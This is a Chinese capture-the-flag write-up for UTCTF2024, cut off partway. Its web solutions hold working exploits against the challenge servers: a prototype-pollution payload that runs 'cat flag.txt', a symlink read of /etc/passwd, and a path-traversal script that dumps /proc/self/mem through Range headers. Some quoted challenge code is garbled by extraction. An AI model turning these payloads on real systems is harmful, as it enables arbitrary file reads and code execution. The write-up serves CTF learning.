专栏名称: ChaMd5安全团队
一群不正经的老司机组成的史上最牛逼的安全团队。小二,来杯优乐美。
目录
相关文章推荐
笔吧评测室  ·  笔记本也有“三折叠”:联想发布 ... ·  昨天  
笔吧评测室  ·  全球首台超薄太阳能笔记本电脑联想 Yoga ... ·  昨天  
笔吧评测室  ·  HKC“G27H4 经典版”27 ... ·  2 天前  
笔吧评测室  ·  机械革命耀世 16 Ultra 3 月 ... ·  2 天前  
笔吧评测室  ·  65% ... ·  3 天前  
51好读  ›  专栏  ›  ChaMd5安全团队

UTCTF2024 WriteUp By Mini-Venom

ChaMd5安全团队  · 公众号  ·  · 2024-04-02 08:36

正文


招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

Web

Easy Mergers v0.1

POST /api/absorbCompany/2 HTTP/1.1
Host: guppy.utctf.live:8725
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 37
Content-Type: application/json
Cookie: connect.sid=s%3A2Pg-Z6Ptae78uzMfAGEO2LQyaBUZF6yl.kVN2lVXSTr3ZQOOlz3L5K3Lbq%2BsPH7%2FyKZD25YRlTGk
Origin: http://guppy.utctf.live:8725
Referer: http://guppy.utctf.live:8725/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

{"attributes":["__proto__"],"values":[{"cmd":"cat flag.txt"}]}

Schrödinger

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
copenhagen:x:1000:1000::/home/copenhagen:/bin/sh

构造软连接先读/etc/passwd
flag在目录/home/copenhagen/flag.txt
Here are the contents!!!
---------------aa---------------

Home on the Range

Range请求头
但是好像没什么用,就是和题目名挺吻合的。
目录遍历

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading

with open("/setup/flag.txt") as f:
    the_flag = f.read()
os.remove("/setup/flag.txt")

def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
    boundary = randbytes(64).hex()
    for [first, last] in (ranges if ranges != [] else [[None, None]]):
        count = None
        if first is None:
            if last is None:
                first = 0
            else:
                first = file_len - last
                count = last
        elif last is not None:
            count = last - first + 1

        if (count is not None and count             return False
        
        content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
        if len(ranges) > 1:
            write_bytes(b"\r\n--" + boundary.encode())
            if content_type:
                write_bytes(b"\r\nContent-Type: " + content_type.encode())
            write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
            write_bytes(b"\r\n\r\n")
        else:
            if content_type:
                write_header("Content-Type", content_type)
            if len(ranges) > 0:
                write_header("Content-Range", content_range_header)
        if not write_file_range(first, count):
            return False
    if len(ranges) > 1:
        write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
        write_header("Content-Type""multipart/byteranges; boundary=" + boundary)
    elif len(ranges) == 0:
        write_header("Accept-Ranges""bytes")
    return True

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        return self.try_serve_file(self.path[1:])

    def try_serve_file(self, f):
        if f == "":
            f = "."
        try:
            status_code = 200
            range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range""none"))
            ranges = []
            if range_match:
                status_code = 206
                ranges = []
                for range in self.headers.get("range").split("=" )[1].split(", "):
                    left, right = range.split("-")
                    new_range = [None, None]
                    if left:
                        new_range[0] = int(left)
                    if right:
                        new_range[1] = int(right)
                    if not left and not right:
                        # invalid
                        ranges = [[None, None]]
                        break
                    ranges.append(new_range)

            self.log_message("Serving %s ranges %s", f, repr(ranges))

            (content_type, _) = guess_type(f)

            with open(f, "rb") as io:
                file_length = os.stat(f).st_size

                headers = []
                chunks = []

                def check_file_chunk(first, count):
                    if count is None:
                        if first                             return False
                        io.seek(first)
                        if io.read(1) == b"":
                            return False
                    else:
                        if count <= 0 or first                             return False
                        io.seek(first + count - 1)
                        if io.read(1) == b"":
                            return False
                    chunks.append({"type""file""first": first, "count": count})
                    return True

                ok = process_range_request(ranges, content_type, file_length,
                                           lambda k, v: headers.append((k, v)),
                                           lambda b: chunks.append({"type""bytes""bytes": b}),
                                           check_file_chunk)
                if not ok:
                    self.send_response(416)
                    self.send_header("Content-Range""bytes */" + str(file_length))
                    self.end_headers()
                    return
                
                content_length = 0
                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        content_length += len(chunk["bytes"])
                    elif chunk["type"] == "file":
                        content_length += chunk["count"if chunk["count"] is not None else file_length - chunk["first"]
                
                self.send_response(status_code)
                for (k, v) in headers:
                    self.send_header(k, v)
                self.send_header("Content-Length", str(content_length))
                self.end_headers()

                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        self.wfile.write(chunk["bytes"])
                    elif chunk["type"] == "file":
                        io.seek(chunk["first"])
                        count = chunk["count"]
                        buf_size = 1024 * 1024
                        while count is None or count > 0:
                            chunk = io.read(min(count if count is not None else buf_size, buf_size))
                            self.wfile.write(chunk)
                            if count is not None:
                                count -= len(chunk)
                            if len(chunk) == 0:
                                break
        except FileNotFoundError:
            print(f)
            self.send_error(404)
        except IsADirectoryError:
            if not f.endswith("/") and f != ".":
                self.send_response(303)
                self.send_header("Location""/" + f + "/")
                self.end_headers()
            elif os.path.isfile(f + "/index.html"):
                return self.try_serve_file(f + "/index.html")
            else:
                dir_name = os.path.basename(os.path.abspath(f))
                if dir_name == "":
                    dir_name = "/"
                body = (
                    "html>Directory listing of "
                        + escape(dir_name)
                        + "

Directory listing of "

 + escape(dir_name) + "
    "

                        + "".join(["
  •  + escape(child, quote=True) + "\">" + escape(child) + "
  • "
     for child in os.listdir(f)])
                            + ""
                        ).encode("utf-8")
                    self.send_response(200)
                    self.send_header("Content-Type""text/html; charset=utf-8")
                    self.end_headers()
                    self.wfile.write(body)
                    pass
            except OSError as e:
                self.send_error(500, None, e.strerror)

    server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)

    def exit_handler(signum, frame):
        sys.stderr.write("Received SIGTERM\n")

        # Needs to run in another thread to avoid blocking the main thread
        def shutdown_server():
            server.shutdown()
        shutdown_thread = threading.Thread(target=shutdown_server)
        shutdown_thread.start()
    signal.signal(signal.SIGTERM, exit_handler)

    sys.stderr.write("Server ready\n")
    server.serve_forever()

    with open("/setup/flag.txt""w") as f:
        f.write(the_flag)

    最后那个signal.SIGTERM应该是题目重启的逻辑,跟解题没关系
    从/proc/self/maps来获取堆栈分布,根据堆的偏移爆破mem

    # -*- coding:utf-8 -*-
    import requests
    import re
    from tqdm import tqdm
    from urllib.parse import quote
    baseUrl = "http://guppy.utctf.live:7884/"
    headers = {
        "Range":"bytes=40000-42000"
    }
    result = []
    if __name__ == "__main__":
        url = baseUrl + "%2e%2e/%2e%2e/proc/self/maps"
        print(url)
        memInfoList = requests.get(url,headers=headers).text.split("\n")
        mem = ""
        print(memInfoList)

        for i in tqdm(memInfoList):
            memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
            if memAddress:
                start = int(memAddress.group(1), 16)
                end = int(memAddress.group(2), 16)
                result.append([start,end])
                infoUrl = baseUrl + "%2e%2e/%2e%2e/proc/self/mem"
                newHeaders = {
                    "Range":f"bytes={start}-{end}"
                }
                mem = requests.get(infoUrl,headers=newHeaders).text
                print(mem)
                if "utflag" in mem:
                    print("find it")
                    print(newHeaders)
                    break

    flag在最后 find it {'Range': 'bytes=124163915821056-124163919962112'}

    Beginner: Off-Brand Cookie Clicker

    控制台输入:

    fetch('/click', {
                            method: 'POST',
                            headers: {
                                'Content-Type''application/x-www-form-urlencoded'
                            },
                            body: 'count=' + 10000000000
                        })
                        .then(response => response.json())
                        .then (data => {
                            alert(data.flag);
                        });

    Crypto

    RSA-256

    直接分解n完事
    用factordb网站直接分解得到p和q,脚本如下:

    from Crypto.Util.number import *
    p=1025252665848145091840062845209085931
    q=75575216771551332467177108987001026743883
    N = 77483692467084448965814418730866278616923517800664484047176015901835675610073
    e = 65537
    c = 43711206624343807006656378470987868686365943634542525258065694164173101323321
    phi=(p-1)*(q-1)
    d=inverse_mod(e,phi)
    print(long_to_bytes(int(pow(c,d,N))))
    #b'utflag{just_send_plaintext}'

    numbers go brrr

    get_random_number()中将这一次的seed进行加密后作为下一次的seed,也就是只要知道初始的seed就能得到key
    并且对message加密的最后一次的seed作为给flag加密的初始seed。
    由于seed的范围在10**6内,是可以通过爆破得到message的初始seed。
    通过message的初始seed,进而算出flag的初始seed,从而得到对flag加密的key,然后就是aes解密了。
    脚本如下:

    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    from Crypto.Util.number import *
    from tqdm import *
    def get_random_number():
        global seed
        seed = int(str(seed * seed).zfill(12)[3:9])
        return seed

    def encrypt(message):
        key = b''
        for i in range(8):
            key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
        cipher = AES.new(key, AES.MODE_ECB)
        ciphertext = cipher.encrypt(pad(message, AES.block_size))
        return ciphertext.hex()
    message = b'a'
    for i in trange(10**6):
        seed = i
        if encrypt(message) == 'c4982e7c53d17bbdcdbdb29297454e08':
            print(seed)
            break
    key = b''
    for i in range(8):
        key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
    cipher = AES.new(key, AES.MODE_ECB)
    c=b'a9f2f48bbd6a641d4eadd07a7d374cd92b08c805e7bc4e942b42a6daf53d02d5294c9de03216444bd66fb6144f26dea2'
    print(cipher.decrypt(long_to_bytes(int(c,16))))
    #890849
    #b'utflag{deep_seated_and_recurring_self-doubts}\x03\x03\x03'

    Cryptordle

    用爆破,就是穷举五个字符,但是要大约七次才能精确猜出答案
    另一个发现是answer都是一些单词,可以利用这个
    最后先用前五个数据来穷举出所有的可能answer,然后再在里面找正确的单词(这一步用了word文档的拼写检查)
    然后成功找到,进行三次拿到flag
    脚本如下:

    import itertools
    from string import *
    alpha_bet=ascii_lowercase
    strlist = itertools.product(alpha_bet, repeat=5)
    def judge(guess,answer):

        response = 1
        for x in range(5):
            a = ord(guess[x]) - ord('a')
            b = ord(answer[x]) - ord('a')
            response = (response * (a - b)) % 31
        return response

    for i in strlist:
        answer = i[0] + i[1] + i[2] + i[3] + i[4]
        if judge('aaaaa', answer) == 10:
            if judge('bbbbb', answer) == 4:
                if judge('ccccc', answer) == 22:
                    if judge('ddddd', answer) == 25:
                        if judge('eeeee', answer) == 9:
                            print(answer)

    得到这么一大串:

    hmsuu hmusu hmuus hsmuu hsumu hsuum humsu humus husmu husum huums huusm mhsuu mhusu mhuus mshuu msuhu msuuh muhsu muhus mushu musuh muuhs muush shmuu shumu shuum smhuu smuhu smuuh suhmu suhum sumhu sumuh suuhm suumh uhmsu uhmus uhsmu uhsum uhums uhusm umhsu umhus umshu umsuh umuhs umush ushmu ushum usmhu usmuh usuhm usumh uuhms uuhsm uumhs uumsh uushm uusmh 

    拿去word文档,发现只有humus未标红,即正确答案,同样方式进行三次,拿到flag

    bits and pieces

    后面两个n2,n3直接gcd(n2,n3)就能成功分解n2,n3得到flag的第二第三部分。
    第一部分直接用yafu分解n1得到p1,q1(yafu实在是太强大了)
    脚本如下:

    n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013
    e1= 65537
    c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382

    n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317
    e2= 65537
    c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144

    n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081






    请到「今天看啥」查看全文